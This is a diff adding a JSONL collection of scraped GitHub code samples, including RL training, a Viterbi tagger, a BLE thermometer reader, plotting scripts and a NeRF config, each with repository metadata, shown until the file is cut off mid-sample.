diff --git "a/3932.jsonl" "b/3932.jsonl" new file mode 100644--- /dev/null +++ "b/3932.jsonl" @@ -0,0 +1,1512 @@ +{"seq_id":"18833801278","text":"import json\nimport os\nimport rlkit.torch.pytorch_util as ptu\nimport time\nimport torch\nfrom rlkit.launchers.launcher_util import setup_logger\n\nfrom ungraspable.arguments import *\nfrom ungraspable.rlkit_utils.her_sac import experiment\n\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'True'\n\n\ndef args_to_variant():\n args = parser.parse_args()\n\n # Construct variant to train\n if args.variant is None:\n # Convert args to variant\n trainer_kwargs = None\n if \"SAC\" in args.agent:\n trainer_kwargs = dict(\n discount=args.gamma,\n soft_target_tau=args.soft_target_tau,\n target_update_period=args.target_update_period,\n policy_lr=args.policy_lr,\n qf_lr=args.qf_lr,\n use_automatic_entropy_tuning=(not args.no_auto_entropy_tuning),\n target_entropy=args.target_entropy,\n fixed_alpha=args.fixed_alpha,\n )\n elif \"TD3\" in args.agent:\n trainer_kwargs = dict(\n target_policy_noise=args.target_policy_noise,\n policy_learning_rate=args.policy_lr,\n qf_learning_rate=args.qf_lr,\n policy_and_target_update_period=args.policy_and_target_update_period,\n tau=args.tau,\n )\n else:\n pass\n variant = dict(\n ExpID=args.ExpID,\n ExpGroup=args.ExpGroup,\n algorithm=args.agent,\n adr_mode=args.adr_mode,\n seed=args.seed,\n load_dir=args.load_dir,\n load_buffer=args.load_buffer,\n load_buffer_size=args.load_buffer_size,\n version=\"normal\",\n replay_buffer_kwargs=dict(\n max_size=int(1E6),\n fraction_goals_rollout_goals=args.rollout_goals, # equal to k = 4 in HER paper\n fraction_goals_env_goals=args.env_goals,\n save_buffer=args.save_buffer,\n ),\n qf_kwargs=dict(\n hidden_sizes=args.qf_hidden_sizes,\n ),\n policy_kwargs=dict(\n hidden_sizes=args.policy_hidden_sizes,\n ),\n algorithm_kwargs=dict(\n num_epochs=args.n_epochs,\n num_train_loops_per_epoch=args.eval_freq,\n num_eval_steps_per_epoch=args.horizon * args.num_eval,\n num_trains_per_train_loop=args.trains_per_train_loop,\n num_expl_steps_per_train_loop=args.horizon * args.expl_ep_per_train_loop,\n min_num_steps_before_training=args.steps_before_training,\n max_path_length=args.horizon,\n batch_size=args.batch_size,\n ),\n trainer_kwargs=trainer_kwargs,\n environment_kwargs=get_env_kwargs(args),\n )\n else:\n # Attempt to load the json file\n try:\n with open(args.variant) as f:\n variant = json.load(f)\n except FileNotFoundError:\n print(\"Error opening specified variant json at: {}. \"\n \"Please check filepath and try again.\".format(variant))\n\n return variant, args.log_dir\n\n\ndef get_logger(variant, log_folder):\n # Setup logger\n folder_name = f'Exp{variant[\"ExpID\"]:04d}_{variant[\"environment_kwargs\"][\"env_name\"]}_' + \\\n f'{variant[\"ExpGroup\"]}-{variant[\"seed\"]}'\n log_dir = os.path.join(log_folder, time.strftime(\"%m-%d\") + \"-\" + variant[\"ExpGroup\"], folder_name)\n save_freq = int(100 / variant[\"algorithm_kwargs\"][\"num_train_loops_per_epoch\"])\n setup_logger(variant=variant, log_dir=log_dir, snapshot_gap=save_freq, snapshot_mode='gap_and_last')\n ptu.set_gpu_mode(torch.cuda.is_available())\n print(f\"CUDA is_available: \", torch.cuda.is_available())\n\n\nif __name__ == '__main__':\n # Add necessary command line args\n add_robosuite_args()\n add_agent_args()\n add_training_args()\n add_og_args()\n exp_variant, folder = args_to_variant()\n get_logger(exp_variant, folder)\n experiment(exp_variant, agent=exp_variant[\"algorithm\"])\n","repo_name":"Wenxuan-Zhou/ungraspable","sub_path":"ungraspable/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"21"} +{"seq_id":"72439830132","text":"# https://www.codewars.com/kata/valid-braces/train/python?\n\n\n\ndef validBraces(string):\n print(string, len(string))\n open_bracket = [\"(\",\"[\",\"{\"]\n closing_bracket =[\")\",\"]\",\"}\"]\n result = False\n if len(string)%2 == 0:\n mitte = int(len(string)/2)\n for i in range(0, mitte):\n print(string[i],\"and \", string[len(string)-i-1])\n if string[i] in open_bracket:\n position = open_bracket.index(string[i])\n print(position)\n print(\"closing should be: \", closing_bracket[position])\n print(\" closing actual: \", string[len(string)-i-1])\n if closing_bracket[position] == string[len(string)-i-1]:\n print(\"yes\")\n result = True\n else:\n result = False\n return result\n","repo_name":"hhhoang/100DaysOfCode_HH","sub_path":"Day25.py","file_name":"Day25.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9771258614","text":"import numpy as np\n\nfrom owcsimpy.geoobjects.models.simpleofficeenv_py import SimpleOfficeEnv_py as SimpleOfficeEnv\n\nclass TypicalSimpleOfficeEnv_py(SimpleOfficeEnv):\n \"\"\" A typical realization of a simple office. \n \n The chair and the table are located in the corner of the room.\n \n Parameters\n ----------\n roomDim: list\n The dimensions of the room in [Length,Width,Height].\n humanLoc\n The human's location.\n humanDirection\n The humand's direction.\n chairLoc\n The chair's location. Note that the location of the table is\n defined relative to the chair's location.\n chairDirection\n The chair's direction.\n mode: {'tx','rx'}\n Describe whether transmitting (tx) or receiving (rx)\n activity: {'calling','reading','usbdongle'}\n 'calling' denotes the LED or the PD is near the right ear.\n Meanwhile, 'reading' denotes the device is in front of the \n human's chest. 'usbdongle' denotes the use of LiFi usb dongles\n attached to a laptop on a desk.\n position: {'standing','sitting'}\n The human's positions. \n furnitureConfig: {'cornerXFacingWall','cornerXNotFacingWall','cornerYFacingWall','cornerYNotFacingWall'}\n The direction of the chair and the table.\n \n Attributes\n ----------\n See\n :class:`~owcsimpy.geoobjects.model.simpleofficeenv_py.SimpleOfficeEnv_py`\n \n \"\"\"\n \n def __init__(self,\n roomDim,\n humanLoc=None,humanDirection=0,\n mode='rx',\n activity='calling',\n position='standing',\n furnitureConfig='cornerXFacingWall'\n ):\n\n chairLoc,chairDirection = None,0\n\n if position.lower()=='standing':\n if furnitureConfig == 'cornerXFacingWall':\n chairLoc=[0.6,1.45]\n chairDirection=np.deg2rad(270)\n elif furnitureConfig == 'cornerXNotFacingWall':\n chairLoc=[0.6,0]\n chairDirection=np.deg2rad(90)\n elif furnitureConfig == 'cornerYFacingWall':\n chairLoc=[1.45,0.6]\n chairDirection=np.deg2rad(180)\n elif furnitureConfig == 'cornerYNotFacingWall':\n chairLoc=[0,0.6]\n chairDirection=np.deg2rad(0)\n elif position.lower()=='sitting':\n # When sitting, the configuration of human will be overridden\n if furnitureConfig == 'cornerXFacingWall':\n humanLoc=[0.6,1.45+0.075]\n humanDirection=np.deg2rad(270)\n elif furnitureConfig == 'cornerXNotFacingWall':\n humanLoc=[0.6,0+0.075]\n humanDirection=np.deg2rad(90)\n elif furnitureConfig == 'cornerYFacingWall':\n humanLoc=[1.45+0.075,0.6]\n humanDirection=np.deg2rad(180)\n elif furnitureConfig == 'cornerYNotFacingWall':\n humanLoc=[0+0.075,0.6]\n humanDirection=np.deg2rad(0)\n \n super().__init__(\n roomDim=roomDim,\n humanLoc=humanLoc,humanDirection=humanDirection,\n chairLoc=chairLoc,chairDirection=chairDirection,\n mode=mode,\n activity=activity,\n position=position\n )\n\n\n","repo_name":"ardimasp/owcsimpy","sub_path":"build/lib.macosx-10.7-x86_64-3.7/owcsimpy/geoobjects/models/typicalsimpleofficeenv_py.py","file_name":"typicalsimpleofficeenv_py.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27680692196","text":"# Python Program illustrating numpy.linalg.lstsq() method\nimport numpy as np\n# importing matplotlib module\nfrom matplotlib import pyplot as plt\n#x coordinatea\nx = np.arange(0, 9)\nA = np.array([x, np.ones(9)])\n#linearly generated sequence\ny= [19, 20, 20.5, 21.5, 22, 23, 23, 25.5, 24]\n#obtaining the parameters of regression line\nw= np.linalg.lstsq(A.T, y)[0]\n# plotting the line\nline = w[0]*x + w[1] # regression line\nplt.plot(x, line, 'r-')\nplt.plot(x, y, 'o')\nplt.title('regression line')\nplt.xlabel('X axis')\nplt.ylabel('Y axis')\nplt.show()\na=[1,2,3,4,5]\n# x-axis values\nx = [5, 2, 9, 4, 7]\n# Y-axis values\ny = [10, 5, 8, 4, 2]\n# Function to plot\nplt.plot(x,y)\n# function to show the plot\nplt.title('info plot')\nplt.xlabel('X axis')\nplt.ylabel('Y axis')\nplt.show()\n# Function to plot the bar\nplt.bar(x,y)\n# function to show the plot\nplt.title('bar graph')\nplt.xlabel('X axis')\nplt.ylabel('Y axis')\nplt.show()\n# Function to plot histogram\nplt.hist(y)\n# Function to show the plot\nplt.title('histogram')\nplt.xlabel('X axis')\nplt.ylabel('Y axis')\nplt.show()\n# Function to plot scatter\nplt.scatter(x, y)\nplt.title('scatter')\nplt.xlabel('X axis')\nplt.ylabel('Y axis')\n# function to show the plot\nplt.show()\n#stack plot i.e how much covered area\nplt.stackplot(a,x,y)\nplt.title('stackplot')\nplt.xlabel('X axis')\nplt.ylabel('Y axis')\nplt.show()\n#pie chart i.e percent of each in total\nplt.pie(a,autopct='%1.1f%%',labels=['1','2','3','4','5'])\nplt.title('pie chart')\nplt.show()","repo_name":"samarsreddy/Python-C-Programs","sub_path":"python_data_visualization.py","file_name":"python_data_visualization.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"43868571591","text":"# !/usr/bin/env python3\n# -*- coding:utf-8 -*-\n#\n# Author: Flyaway - flyaway1217@gmail.com\n# Blog: zhouyichu.com\n#\n# Python release: 3.4.5\n#\n# Date: 2017-04-10 10:44:29\n# Last modified: 2017-04-13 12:11:11\n\n\"\"\"\nImplement the Viterbi algorithm.\n\"\"\"\n\nimport numpy as np\n\nSTART = '#S'\nEND = '#E'\n\n\nclass Viterbi:\n \"\"\"Viterbi class.\n \"\"\"\n def __init__(self, label_size):\n \"\"\"Construct a new Viterbi class.\n\n Args:\n sentences: list(sentence)\n \"\"\"\n self._trans = dict()\n self._emit = dict()\n self._label_size = label_size\n\n def train(self, sentences):\n \"\"\"Extracting the probability distribution\n from sentences.\n Args:\n sentences: list(Sentence)\n \"\"\"\n for sent in sentences:\n # For transition probabilities\n labels = sent.labels\n labels.insert(0, START)\n labels.append(END)\n for index in range(1, len(labels)):\n key = labels[index-1]\n value = labels[index]\n if key not in self._trans:\n self._trans[key] = dict()\n self._trans[key][value] = self._trans[key].get(value, 0) + 1\n\n # For emit probabilities.\n labels = sent.labels\n poss = sent.poss\n words = sent.words\n for label, pos, word in zip(labels, poss, words):\n key = label\n value = '|'.join([word, pos])\n if key not in self._emit:\n self._emit[key] = dict()\n self._emit[key][value] = self._emit[key].get(value, 0) + 1\n\n def search(self, sentence):\n \"\"\"Run the viterbi algorihtm\n to search for the best sequence.\n \"\"\"\n n = len(sentence)\n words = sentence.words\n poss = sentence.poss\n\n # Initialize the table\n # table size: label_size * n\n table = []\n back = []\n for _ in range(self._label_size):\n table.append([None]*n)\n back.append([None]*n)\n\n for t in range(self._label_size):\n word = '|'.join([words[0], poss[0]])\n table[t][0] = self._get_trans(START, t) * self._get_emit(t, word)\n back[t][0] = 0\n\n for index in range(1, len(words)):\n word = '|'.join([words[index], poss[index]])\n for t in range(self._label_size):\n m = float('-INF')\n maxj = -1\n for j in range(self._label_size):\n prob = table[j][index-1] * self._get_trans(j, t)\n if prob > m:\n prob = m\n maxj = j\n table[t][index] = self._get_emit(t, word) * m\n back[t][index] = maxj\n\n # Recover the sequence label\n seq = [None] * n\n score = [table[j][n-1] for j in range(len(self._label_size))]\n seq[n-1] = np.argmax(score)\n\n for i in range(n-2, -1, -1):\n seq[i] = back[seq[i+1]][i+1]\n return seq\n\n def _get_emit(self, label, word):\n \"\"\"Generate the emit probability.\n\n Args:\n label: int - The label.\n word: str - The word and pos tag.\n \"\"\"\n denominator = 0\n for key in self._emit[label]:\n denominator += self._emit[label][key]\n\n return self._emit[label][word] / denominator\n\n def _get_trans(self, pre_label, post_label):\n \"\"\"Generate the trnas probability.\n\n Args:\n pre_label: {int, str} - The last label.\n post_label: int - The currnt label.\n \"\"\"\n denominator = 0\n for key in self._trans[pre_label]:\n denominator += self._trans[pre_label][key]\n A = self._trans[pre_label].get(post_label, 0) + 1\n return A / (denominator+self._label_size)\n","repo_name":"flyaway1217/CS-6390-Information-Extraction","sub_path":"ner/source/viterbi.py","file_name":"viterbi.py","file_ext":"py","file_size_in_byte":3873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16787464567","text":"import rospy\nimport roslib\nimport smach\n\n\nfrom states.motion_states import MoveRobotHome\nfrom states.utilities_states import DetachObjects\n\nfrom smach_ros import ServiceState\n\n \n \ndef makeInitMasterSM(dataSM):\n\t\n\tsm = smach.StateMachine(outcomes=['success','aborted'])\n\n\t#req = MoveToHomeRequest()\n\t#req.pose_name = \"OVERHEAD_WAIT\"\n\t#req.move_group = \"arm_right\"\n\n\twith sm:\n\t\t# Configure camera node.\n\t\t#smach.StateMachine.add(\n\t\t#\t\t'Configure Gripper Camera',\n\t\t#\t\tServiceState('/gripper_camera/lifecycle/configure',\n\t\t#\t\t\tRequestTransition,\n\t\t#\t\t\trequest=RequestTransitionRequest()),\n\t\t#\t\ttransitions = {\n\t\t#\t\t\t'succeeded':'Activate Gripper Camera',\n\t\t#\t\t\t'aborted':'Activate Gripper Camera',\n\t\t#\t\t\t'preempted':'error'}\n\t\t#)\n\t\t\n\t\t\n\t\t\n\t\t# Configure gripper driver.\n\t\t#smach.StateMachine.add(\n\t\t#\t\t'Configure Gripper Driver',\n\t\t#\t\tServiceState('/gripper_driver/lifecycle/configure',\n\t\t#\t\t\tRequestTransition,\n\t\t#\t\t\trequest=RequestTransitionRequest()),\n\t\t#\t\ttransitions = {\n\t\t#\t\t\t'succeeded':'Activate Gripper Driver',\n\t\t#\t\t\t'aborted':'Activate Gripper Driver',\n\t\t#\t\t\t'preempted':'error'}\n\t\t#)\n\t\t\n\t\t\n\t\t# Activate pose estimator.\n\t\t#smach.StateMachine.add(\n\t\t#\t\t'Activate Pose Estimator',\n\t\t#\t\tServiceState('/pose_estimation/lifecycle/activate',\n\t\t#\t\t\tRequestTransition,\n\t\t#\t\t\trequest=RequestTransitionRequest()),\n\t\t#\t\ttransitions = {\n\t\t#\t\t\t'succeeded':'Configure Manipulation Planner',\n\t\t#\t\t\t'aborted':'Configure Manipulation Planner',\n\t\t#\t\t\t'preempted':'error'}\n\t\t#)\n\t\t#\n \n\t\t# Move robot to home position\n\n\t\t## Make sure all the robot is in home positon..\n\t\t#smach.StateMachine.add('MOVE_HOME',ServiceState('/motion_executor/move_to_home',MoveToHome,request=req),transitions = {\n\t\t#\t\t\t'succeeded':'succeeded',\n\t\t#\t\t\t'aborted':'aborted',\n\t\t#\t\t\t'preempted':'aborted'}\n\t\t#)\n\t\tsmach.StateMachine.add('DETACH_OBJECTS',DetachObjects(dataSM),\n\t\t\t\ttransitions = {\n\t\t\t\t\t'success':'MOVE_HOME_INIT',\n\t\t\t\t\t'error':'aborted'}\n\t\t)\n\t\tsmach.StateMachine.add('MOVE_HOME_INIT',MoveRobotHome(),\n\t\t\t\ttransitions = {\n\t\t\t\t\t'success':'success',\n\t\t\t\t\t'error':'aborted'}\n\t\t)\n\n\n\t\t\n\n\n\t\t\t\t\t\n\treturn sm\n","repo_name":"carolMartinez/pir_lenny_robot","sub_path":"lenny_state_machine/scripts/state_machines/initialize_master_sm.py","file_name":"initialize_master_sm.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5079317492","text":"# detail: https://atcoder.jp/contests/arc115/submissions/22932248\nn = int(input())\nsieve = [0 for _ in range(n + 1)]\nfor i in range(2, n + 1):\n if sieve[i] != 0:\n continue\n for j in range(i, n + 1, i):\n if sieve[j] == 0:\n sieve[j] = i\n\nans = [1]\nsieve[1] = 1\nfor i in range(2, n + 1):\n v = i\n # print(v//sieve[v])\n ans.append(ans[v // sieve[v] - 1] + 1)\n\nfor i in range(n):\n print(ans[i], end=\" \")\nprint()","repo_name":"matumoto1234/cp-crawler","sub_path":"AtCoder/arc115/arc115_c/22932248.py","file_name":"22932248.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8555483610","text":"\"\"\"\nThe goal of this script is to illustrate the phenomenon of superposition of \nphasors and the impact it has on the observed phase in case of mixed pixels.\n\nFor this, do the following:\n 1. Definitions and imports\n 2. Generate observations\n 3. Plots and illustrations\n\"\"\"\n\n\n\n\"\"\"\n 1. Definitions and imports ------------------------------------------------\n\"\"\"\n\n\n# i) Import packages\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport Support_funs_AR as sf\n\n\n# ii) General definitions\n\nn_disc=300\nweights_1=[2,1]\nweights_2=[1,1]\nweights_3=[1,2]\n\nwavelength=[0.01] \nwl_mult=1 \n\ndistances=(np.vstack((np.ones([n_disc]),np.linspace(1-wl_mult*wavelength[0],1+wl_mult*wavelength[0],n_disc)))).T\nDelta_d=np.linspace(-wl_mult*wavelength[0],wl_mult*wavelength[0],n_disc)\nDelta_d_normed=np.linspace(-wl_mult,wl_mult,n_disc)\n\n\n\"\"\"\n 2. Generate observations --------------------------------------------------\n\"\"\"\n\n\n# i) Create data\n\nphase_obs_1=np.zeros([n_disc])\nphase_obs_2=np.zeros([n_disc])\nphase_obs_3=np.zeros([n_disc])\n\nfor k in range(n_disc):\n z_1,_=sf.Generate_data(weights_1,distances[k,:],wavelength)\n z_2,_=sf.Generate_data(weights_2,distances[k,:],wavelength)\n z_3,_=sf.Generate_data(weights_3,distances[k,:],wavelength)\n \n \n phase_obs_1[k]=np.angle(z_1)\n phase_obs_2[k]=np.angle(z_2)\n phase_obs_3[k]=np.angle(z_3)\n\n\n\n\n\"\"\"\n 3. Plots and illustrations ------------------------------------------------\n\"\"\"\n\n\n# i) Illustrate phase change dependent on distance change\n\nw,h=plt.figaspect(0.8)\nfig1 = plt.figure(dpi=400,constrained_layout=True,figsize=(w,h))\ngs1 = fig1.add_gridspec(3, 1)\n\n\nf1_ax1 = fig1.add_subplot(gs1[0,0])\nf1_ax1.plot(Delta_d_normed,phase_obs_1,c='black',label='Rational independence')\nf1_ax1.set_title('Observed phase for $w_1 / w_2 =2$')\n# plt.ylim((-np.pi,np.pi))\nplt.hlines(0,-wl_mult,wl_mult,colors='0.75',linestyle='dashed')\nplt.ylabel('$\\phi^{obs}$')\nplt.xticks([-1, 0 ,1 ], \" \")\n\nf1_ax2 = fig1.add_subplot(gs1[1,0])\nf1_ax2.plot(Delta_d_normed,phase_obs_2,c='black',label='Rational independence')\nf1_ax2.set_title('Observed phase for $w_1 / w_2 =1$')\n# plt.ylim((-np.pi,np.pi))\nplt.hlines(0,-wl_mult,wl_mult,colors='0.75',linestyle='dashed')\nplt.ylabel('$\\phi^{obs}$')\nplt.xticks([-1, 0 ,1 ], \" \")\n\nf1_ax3 = fig1.add_subplot(gs1[2,0])\nf1_ax3.plot(Delta_d_normed,phase_obs_3,c='black',label='Rational independence')\nf1_ax3.set_title('Observed phase for $w_1 / w_2 =0.5$')\n# plt.ylim((-np.pi,np.pi))\nplt.hlines(0,-wl_mult,wl_mult,colors='0.75',linestyle='dashed')\nplt.xlabel('$\\Delta d / \\lambda$ (changes of surface $S_2$)')\nplt.ylabel('$\\phi^{obs}$')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"jemil-butt/Ambiguity_resolution","sub_path":"Illustrate_superposition.py","file_name":"Illustrate_superposition.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73075931891","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import (QWidget, QLabel, QVBoxLayout)\n\nfrom controllers.match_controller import getOneMatchByTeamNames\nfrom view.match_window_components.match_general_info import MatchGeneralInfo\nfrom view.match_window_components.match_stats_table import MatchStatsTable\nfrom utils.font_utils import get_font\nfrom view.match_window_components.match_title import MatchTitle\n\n\nclass MatchWindow(QWidget):\n def __init__(self, home_team: str, away_team: str):\n super(MatchWindow, self).__init__()\n self.vbox = QVBoxLayout()\n self.initUI()\n self.load_data(home_team, away_team)\n\n def initUI(self):\n self.setLayout(self.vbox)\n self.setGeometry(100, 100, 800, 700)\n\n def load_data(self, home_team, away_team):\n match_data = getOneMatchByTeamNames(home_team, away_team)\n game_week_banner = QLabel(\"GAME WEEK: \" + match_data[\"game_week\"])\n game_week_banner.setStyleSheet(\"QLabel { background-color : #38003c; color : #00ff85; }\")\n gw_font = get_font(True, 18)\n game_week_banner.setAlignment(Qt.AlignCenter)\n game_week_banner.setFixedHeight(30)\n game_week_banner.setFont(gw_font)\n self.vbox.addWidget(game_week_banner)\n # Match Title\n match_title_layout = MatchTitle(match_data)\n self.vbox.addLayout(match_title_layout)\n # General Info\n match_general_label = MatchGeneralInfo(match_data)\n self.vbox.addWidget(match_general_label)\n # Match Stats Table\n # banner\n match_stats_banner = QLabel(\"MATCH STATS\")\n match_stats_banner.setStyleSheet(\"QLabel { background-color : #e90052; color : #ffffff; }\")\n match_stats_banner.setAlignment(Qt.AlignCenter)\n match_stats_banner.setFixedHeight(50)\n font = get_font(bold=True, pointSize=18)\n match_stats_banner.setFont(font)\n self.vbox.addWidget(match_stats_banner)\n\n match_stats_table = MatchStatsTable(match_data)\n self.vbox.addWidget(match_stats_table)","repo_name":"maitruongson-vn107/EPL-1819-Dashboard","sub_path":"view/match_window.py","file_name":"match_window.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9973097473","text":"#!/usr/bin/env python3\n\nimport asyncio\nfrom bleak import discover, BleakClient\nfrom datetime import datetime\nimport struct\nimport math\n\nTEMP_MEASURE_UUID = (\"00002a1c-0000-1000-8000-00805f9b34fb\")\nDATETIME_UUID = (\"00002a08-0000-1000-8000-00805f9b34fb\")\nCUSTOM_CHARA_UUID = (\"233bf001-5a34-1b6d-975c-000d5690abe4\")\n\ndef callback_discon(client):\n print(\"Client with address {} got disconnected!\".format(client.address))\n\ndef callback_notify(sender: int, data: bytearray):\n print(f\"{sender}: {data}\")\n\n flags = data[0]\n index = 1\n result = {}\n\n if flags & 0x01:\n result['fahrenheit'] = readFloatLE(data, index)\n index += 4\n else:\n result['celsius'] = readFloatLE(data, index)\n index += 4\n \n if flags & 0x02:\n result['date'] = {\n 'year': int.from_bytes(data[index:index+2], 'little'),\n 'month': data[index+2],\n 'day': data[index+3],\n 'hour': data[index+4],\n 'minute': data[index+5],\n 'second': data[index+6],\n }\n index += 7\n\n if flags & 0x04:\n types = [\n \"unknown\",\n \"Armpit\",\n \"Body\",\n \"Ear\",\n \"Finger\",\n \"Gastro-intestinal Tract\",\n \"Mouth\",\n \"Rectum\",\n \"Toe\",\n \"Tympanum\",\n ]\n value = data[index]\n index+=1\n result['temperatureType'] = types[value]\n\n print(result)\n\ndef readFloatLE(buffer, index):\n data = int.from_bytes(buffer[index:index+4], 'little')\n mantissa = data & 0x00ffffff\n if ((mantissa & 0x00800000) > 0):\n mantissa = -1 * (~(mantissa - 0x01) & 0x00ffffff)\n\n # exponenxtial = (data >> 24) & 0xff\n exponential = -1\n return mantissa * math.pow(10, exponential)\n\nasync def run(loop):\n # discover\n devices = await discover()\n ut_201ble = [d for d in devices if \"A&D_UT201BLE\" in d.name]\n\n if len(ut_201ble) <= 0:\n print(\"UT-201 Not found...\")\n return\n \n # First found device's address\n address = ut_201ble[0].address\n \n # pair\n async with BleakClient(address, loop=loop) as client:\n client.set_disconnected_callback(callback_discon)\n x = await client.is_connected()\n if not x:\n print(\"Connect failed.\")\n return\n \n print(\"Device Connected\")\n\n print(\"Send all data command\")\n # write command 'Send all data'\n write_value = bytearray(b'\\x02\\x00\\xe1')\n await client.write_gatt_char(CUSTOM_CHARA_UUID, write_value)\n \n print(\"Writing Datetime\")\n # Write curernt datetime\n now = datetime.now()\n byte_year = struct.pack(\" max_psnr):\n model.save_model(net_index)\n max_psnr = model.ret_psnr\n count = opt.early_stop\n max_epoch = epoch\n else:\n count = count - 1\n\n if (not opt.automl) and (count == 0):\n logging.info(\"epoch {} should be the choice for Net{}\\n\".format(\n max_epoch, net_index))\n model.load_model(net_index)\n model.test_ith_net(net_index, test_loader)\n logging_test(net_index, model.infer_time, model.psnr,\n model.diff_ratio_status, model.pixel_status,\n model.ensemble_status)\n break\n\nif opt.train_single:\n train_stage(0)\nelif opt.train_same_time:\n train_stage(2, same_time=True)\nelse:\n for i in range(3):\n train_stage(i)\n\nif opt.automl:\n nni.report_final_result(model.ret_psnr)\n","repo_name":"kentjaren/DL","sub_path":"cnn_cs/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6011491436","text":"n = int(raw_input())\r\nl = list()\r\nfor i in range(n):\r\n l.append(raw_input())\r\nc = 0\r\nans = list()\r\ncharset = \"\".join(set(l[0])) \r\nfor j in range(len(charset)):\r\n ch = charset[j]\r\n flag = 0\r\n for i in l:\r\n if ch in i:\r\n flag += 1\r\n if flag==n:\r\n ans.append(ch)\r\nprint(len(ans)) \r\n","repo_name":"deeptipandey111/Hackerrank-answers","sub_path":"gemstones.py","file_name":"gemstones.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43187883235","text":"import csv\nimport random\n\ndummys = set()\nquerys = []\nwith open('lists/fma_full.csv', 'r') as fin:\n reader = csv.reader(fin)\n next(reader)\n for row in reader:\n du = float(row[1])\n if du > 3600 or du < 30:\n continue\n dummys.add(row[0])\n\nwith open('lists/fma_medium_test.csv', 'r') as fin:\n reader = csv.reader(fin)\n next(reader)\n for row in reader:\n du = float(row[1])\n dummys.discard(row[0])\n querys.append(row[0])\n\ndummys = list(dummys)\nrandom.seed(3)\nrandom.shuffle(dummys)\ndummys = dummys[0:100000]\ndummys.sort()\nquerys.sort()\n\nwith open('lists/fma_dummy_large.txt', 'w') as fout:\n for x in dummys:\n fout.write('../pfann_dataset/fma_full/' + x + '\\n')\n for x in querys:\n fout.write('../pfann_dataset/fma_medium/' + x + '\\n')\n","repo_name":"stdio2016/pfann","sub_path":"tools/fma_full.py","file_name":"fma_full.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"21"} +{"seq_id":"21850396867","text":"\nexp_name = \"lego\"\nlog_dir = \"./logs\"\ntot_train_steps = 40000\n# Background color, value range from 0 to 1\nbackground_color = [0, 0, 0]\nfp16 = True\n# Load pre-trained model\nload_ckpt = False\n# path of checkpoint file, None for default path\nckpt_path = None\n# test output image with alpha\nalpha_image = False\n\nreso_list = [[256]*3, [512]*3]\nepoch_size = 12800\nbatch_size = 5000\n\nlr_basis = 1e-06\nlr_basis_begin_step = 0\nlr_basis_decay_steps = 250000\nlr_basis_delay_mult = 0.01\nlr_basis_delay_steps = 0\nlr_basis_final = 1e-06\nlr_color_bg = 0.1\nlr_color_bg_decay_steps = 250000\nlr_color_bg_delay_mult = 0.01\nlr_color_bg_delay_steps = 0\nlr_color_bg_final = 5e-06\nlr_decay = True\nlr_fg_begin_step = 0\nlr_sh = 0.01\nlr_sh_decay_steps = 250000\nlr_sh_delay_mult = 0.01\nlr_sh_delay_steps = 0\nlr_sh_final = 5e-06\nlr_sigma = 30.0\nlr_sigma_bg = 3.0\nlr_sigma_bg_decay_steps = 250000\nlr_sigma_bg_delay_mult = 0.01\nlr_sigma_bg_delay_steps = 0\nlr_sigma_bg_final = 0.003\nlr_sigma_decay_steps = 250000\nlr_sigma_delay_mult = 0.01\nlr_sigma_delay_steps = 15000\nlr_sigma_final = 0.05\n\n\nlambda_tv = 1e-05\nlambda_tv_sh = 0.001\ntv_contiguous = 1\ntv_sh_sparsity = 0.01\ntv_logalpha = False\ntv_sparsity = 0.01\neval_every = 1\nprint_every = 20\ninit_sigma = 0.1\ninit_sigma_bg = 0.1\nsigma_thresh = 1e-08\nstep_size = 0.5\nstop_thresh = 1e-07\nbackground_brightness = 1.0\nrandom_sigma_std = 0.0\nrandom_sigma_std_background = 0.0\nlast_sample_opaque = False\nnear_clip = 0.0\nuse_spheric_clip = False\ninit_iters = 0\nenable_random = False\nrms_beta = 0.95\nweight_decay_sh = 1.0\nweight_decay_sigma = 1.0\nupsamp_every = 38400\ntv_early_only = 1\ntv_decay = 1.0\ndensity_thresh = 5.0\nweight_thresh = 0.256\nthresh_type = 'weight'\nmax_grid_elements = 44000000\nupsample_density_add = 0.0\nn_iters=128000\nmodel = dict(\n type='SparseGrid',\n basis_dim=9,\n basis_reso=32,\n nosphereinit=False,\n)\n\n\ndataset_type = 'SvoxNeRFDataset'\ndataset_dir = 'data/lego'\ndataset = dict(\n train=dict(\n type=dataset_type,\n root=dataset_dir,\n split='train',\n epoch_size=epoch_size*batch_size,\n ),\n test=dict(\n type=dataset_type,\n root=dataset_dir,\n split='test',\n epoch_size=epoch_size*batch_size,\n ),\n)\n\nloss = dict(\n 